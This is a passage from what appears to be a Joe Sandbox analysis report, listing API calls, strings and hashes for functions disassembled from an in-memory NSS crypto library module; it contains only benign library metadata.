free.MOZGLUE(?), ref: 6CAB10A7
free.MOZGLUE(?), ref: 6CAB10B4
PR_DestroyCondVar.NSS3(?), ref: 6CAB10BF
PR_DestroyCondVar.NSS3(?), ref: 6CAB10CA
PR_DestroyCondVar.NSS3(?), ref: 6CAB10D5
PR_DestroyCondVar.NSS3(?), ref: 6CAB10E0
PR_DestroyLock.NSS3(?), ref: 6CAB10EB
free.MOZGLUE(?), ref: 6CAB1105

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 0111313da8d7d708186de52b2962e752c60b9b07558d0ee83fa53775ae039529
Instruction ID: 689288b87f81a4f8916fd29f0d56b1d1506da2a2eb250f4fd7860b54e8cbd1ac
Opcode Fuzzy Hash: 0111313da8d7d708186de52b2962e752c60b9b07558d0ee83fa53775ae039529
Instruction Fuzzy Hash: A5317CB5A01501ABD702AF25EE41A55B776FF1131CB188134E80923F61E772F9B8DBD2

Function 6C9C5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9C5ECF
EnterCriticalSection.KERNEL32(?), ref: 6C9C5EE3
PR_Unlock.NSS3(?), ref: 6C9C5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C9C5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C9C61F4

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 76e93af9fab91de3bf94c38bdd516560bcd15056718972f52874aeaf179df73b
Instruction ID: b57f7f4ed23c05be9adb67a7e0cd15368b06659952bb2baff0e1a2a8f8c0d5e3
Opcode Fuzzy Hash: 76e93af9fab91de3bf94c38bdd516560bcd15056718972f52874aeaf179df73b
Instruction Fuzzy Hash: 48F116B4A002158FDB44CF18C884B96BBF4FF19304F1582AADD489B746E774DA95CF92

Function 6C92DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C92DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C92DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C92DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C92DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C92DECD

Strings

database corruption, xrefs: 6C92DF77, 6C92DFE7
%s at line %d of [%.10s], xrefs: 6C92DF7C, 6C92DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92DF6D, 6C92DFCC, 6C92DFDD

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: eb29c9c332864c1f95d757f8ed07a2b1ea225d0a3b50dd480e96239f86e88221
Instruction ID: a63bca30effadd2d8afc32b27d83a5d3f7c111ad9b18a47d51a88bb45f5ea302
Opcode Fuzzy Hash: eb29c9c332864c1f95d757f8ed07a2b1ea225d0a3b50dd480e96239f86e88221
Instruction Fuzzy Hash: 16A106726246019FD710CF29C480AAAB7F9EF95308F15892CF8C98BB45D738E855CBA1

Function 6C9EEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C9EEE0B

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9EEEE1

Part of subcall function 6C9E1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C9E1D7E
Part of subcall function 6C9E1D50: EnterCriticalSection.KERNEL32(?), ref: 6C9E1D8E
Part of subcall function 6C9E1D50: PR_Unlock.NSS3(?), ref: 6C9E1DD3

TlsGetValue.KERNEL32 ref: 6C9EEE51
EnterCriticalSection.KERNEL32(?), ref: 6C9EEE65
PR_Unlock.NSS3(?), ref: 6C9EEEA2
free.MOZGLUE(?), ref: 6C9EEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C9EEED0
PR_Unlock.NSS3(?), ref: 6C9EEF48
free.MOZGLUE(?), ref: 6C9EEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C9EEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C9EEFA4
free.MOZGLUE(?), ref: 6C9EEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C9EF055
free.MOZGLUE(?), ref: 6C9EF060

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 086bb8f1623c9288e134da633ec13911bd923d6bbb10cafad9c5d9a1ae1d9ccd
Instruction ID: 4a39c7a92573e2a86122602caa867326b772b8afa6d9671b1199a2374e3a4176
Opcode Fuzzy Hash: 086bb8f1623c9288e134da633ec13911bd923d6bbb10cafad9c5d9a1ae1d9ccd
Instruction Fuzzy Hash: 83816071A00209ABDF01DFA5EC45BDE7BB9BF2D318F144028E919A3711E771E964CBA1

Function 6C9B4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C9B4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C9B4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C9B4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C9B4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C9B4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C9B4E85
DER_Encode_Util.NSS3(?,?,6CB005A4,00000000), ref: 6C9B4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C9B4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C9B4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9B4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9B4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9B4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9B4FC8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 5cc56aefd9eca2cd159c23d07c70c343618eb9846d2b632996690d0b12a5c07c
Instruction ID: 031f7022abeeb5dc4aff45573176213da048d2ba7f3999747bc1e8efc693bfbb
Opcode Fuzzy Hash: 5cc56aefd9eca2cd159c23d07c70c343618eb9846d2b632996690d0b12a5c07c
Instruction Fuzzy Hash: 4D81AF71A08301AFE701CF24D880B5BB7E8AB88748F14852DF958EB641E770E919DF92

Function 6C9F5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C9F5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C9F5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C9F5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C9F5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C9F5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9F5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9F5E18
TlsGetValue.KERNEL32 ref: 6C9F5E5E
EnterCriticalSection.KERNEL32(?), ref: 6C9F5E72
PR_Unlock.NSS3(?), ref: 6C9F5E8B

Part of subcall function 6C9EF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C9EF854
Part of subcall function 6C9EF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C9EF868
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C9EF882
Part of subcall function 6C9EF820: free.MOZGLUE(04C483FF,?,?), ref: 6C9EF889
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C9EF8A4
Part of subcall function 6C9EF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C9EF8AB
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C9EF8C9
Part of subcall function 6C9EF820: free.MOZGLUE(280F10EC,?,?), ref: 6C9EF8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6C9F5D3D
d, xrefs: 6C9F5C36

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 49913dbdd6160c29e6295990f167b5fce81cb51a919b2f1a5e76db7982e42eaa
Instruction ID: d021be6908825373b8b4f772f2bcf3a78939c62f75d7cbee9668bbbfd172dfc7
Opcode Fuzzy Hash: 49913dbdd6160c29e6295990f167b5fce81cb51a919b2f1a5e76db7982e42eaa
Instruction Fuzzy Hash: 307128F0E05105ABEB009F25EC4176E3679BF6530CF148035D82A9BB42EB32E91BC792

Function 6C9E8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C9E9582), ref: 6C9E8F5B

Part of subcall function 6C9FBE30: SECOID_FindOID_Util.NSS3(6C9B311B,00000000,?,6C9B311B,?), ref: 6C9FBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C9E8F6A

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9E8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C9E8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CACD820,6C9E9576), ref: 6C9E8FF9
DER_GetInteger_Util.NSS3(?), ref: 6C9E901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C9E903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9E9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C9E90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C9E90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C9E90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C9E912D
free.MOZGLUE(00000000), ref: 6C9E9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C9E9145

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 0854fb55c87eb5192b2993a24cceb6c20719f00062e0347f521198279015a82b
Instruction ID: 0cf831d922bedf71d190b7a064ddf7f5ad1f4ae4b05c8ba071a3e6b100ce866b
Opcode Fuzzy Hash: 0854fb55c87eb5192b2993a24cceb6c20719f00062e0347f521198279015a82b
Instruction Fuzzy Hash: A551E5B1A043009BE701CF28DC4179B77E8EFA9358F054529E954D7741E731EA59CBD2

Function 6CABC8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CABC8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABC8DA
malloc.MOZGLUE(00000001), ref: 6CABC8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CABC8F8
PR_NewLock.NSS3 ref: 6CABC909
PR_NewCondVar.NSS3(00000000), ref: 6CABC918
PR_NewCondVar.NSS3(00000000), ref: 6CABC92A

Part of subcall function 6C990F00: PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B
Part of subcall function 6C990F00: PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

free.MOZGLUE(00000000), ref: 6CABC947

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 53e2fcbb1853253af0ae4df25a0f70dfa92ea9ffa3cb648a94ca481a72f3ed57
Instruction ID: 8846884febfd519f51b2ab2429f765b4deda9b8e483c2e55be9eb3af9e6a5f65
Opcode Fuzzy Hash: 53e2fcbb1853253af0ae4df25a0f70dfa92ea9ffa3cb648a94ca481a72f3ed57
Instruction Fuzzy Hash: 5D21D9B1A007065BEB20BFB99C05A5B76BCAF0529CF144434E86AD3B40E735E559C7A2

Function 6C99AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C99AF47

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

FreeLibrary.KERNEL32(?), ref: 6C99AF6D
free.MOZGLUE(?), ref: 6C99AFA4
free.MOZGLUE(?), ref: 6C99AFAA
PR_ExitMonitor.NSS3 ref: 6C99AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C99AFF5
PR_ExitMonitor.NSS3 ref: 6C99B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C99B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C99B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C99B03C

Strings

%s decr => %d, xrefs: 6C99AFF0
Unloaded library %s, xrefs: 6C99B023

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 4f7c7e4acdd369134099521b9b4fc391ca7d9fe1afb0eefda24b4de5ce25c00f
Instruction ID: 3d266317f9fde25f1f2bb5589c6db9a83514977ddf54270a06bb88150a1955a8
Opcode Fuzzy Hash: 4f7c7e4acdd369134099521b9b4fc391ca7d9fe1afb0eefda24b4de5ce25c00f
Instruction Fuzzy Hash: 573125B4F04101ABEB01AF65DD40A49B779EB1571CB1C8129E80B97E00FB32E878C7E2

Function 6C9E6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C9E781D,00000000,6C9DBE2C,?,6C9E6B1D,?,?,?,?,00000000,00000000,6C9E781D), ref: 6C9E6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C9E781D,?,6C9DBE2C,?), ref: 6C9E6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C9E781D), ref: 6C9E6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C9E6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C9E6C96

Part of subcall function 6C991240: TlsGetValue.KERNEL32(00000040,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991267
Part of subcall function 6C991240: EnterCriticalSection.KERNEL32(?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C99127C
Part of subcall function 6C991240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C991291
Part of subcall function 6C991240: PR_Unlock.NSS3(?,?,?,?,6C99116C,NSPR_LOG_MODULES), ref: 6C9912A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C9E6CAA

Strings

rdb:, xrefs: 6C9E6C69
extern:, xrefs: 6C9E6C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C9E6C91
dbm, xrefs: 6C9E6CA4
dbm:, xrefs: 6C9E6C3A
sql:, xrefs: 6C9E6C52

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: b1bceb39cd44bfe898d8fa45ae327d041cddb30b003411b0e48cedf275c9f668
Instruction ID: 48b095515ed4abf42853d7e248e133c3df8611ad895dcef6cdfb5c9691729a33
Opcode Fuzzy Hash: b1bceb39cd44bfe898d8fa45ae327d041cddb30b003411b0e48cedf275c9f668
Instruction Fuzzy Hash: EF01A2A17023162BF710277A6D4AF66365CAF9915CF144831FF14E0982EBA2E55580B5

Function 6C9F5800 Relevance: 19.7, APIs: 13, Instructions: 227COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9F5857
EnterCriticalSection.KERNEL32(?), ref: 6C9F586B
PR_Unlock.NSS3(?), ref: 6C9F5888
TlsGetValue.KERNEL32 ref: 6C9F58B9
EnterCriticalSection.KERNEL32(?), ref: 6C9F58CD
PR_Unlock.NSS3(?), ref: 6C9F58E9

Part of subcall function 6C9F5530: TlsGetValue.KERNEL32(?,?,?,00000000,?,6C9F5915,?), ref: 6C9F5556
Part of subcall function 6C9F5530: EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,6C9F5915,?), ref: 6C9F556F
Part of subcall function 6C9F5530: PR_Unlock.NSS3(?,?,?,?,?), ref: 6C9F559C
Part of subcall function 6C9F5530: SECMOD_UpdateSlotList.NSS3(?,?,?,?,?), ref: 6C9F55A4
Part of subcall function 6C9F5530: PR_Sleep.NSS3(?,?,?,?), ref: 6C9F5643
Part of subcall function 6C9F5530: TlsGetValue.KERNEL32(?,?,?,?), ref: 6C9F5653
Part of subcall function 6C9F5530: EnterCriticalSection.KERNEL32(?,?,?,?,?), ref: 6C9F5668

PR_SetError.NSS3(FFFFE098,00000000), ref: 6C9F5934
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C9F59AA
SECMOD_UpdateSlotList.NSS3(?), ref: 6C9F59B3
TlsGetValue.KERNEL32 ref: 6C9F5A4D
EnterCriticalSection.KERNEL32(?), ref: 6C9F5A61
PR_Unlock.NSS3(?), ref: 6C9F5A7A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$ErrorListSlotUpdate$Sleep
String ID:
API String ID: 1180358131-0
Opcode ID: 7b9fd1984ad5d967e71175924c9922013a85c1b491667e80baf9c192bc3c2b75
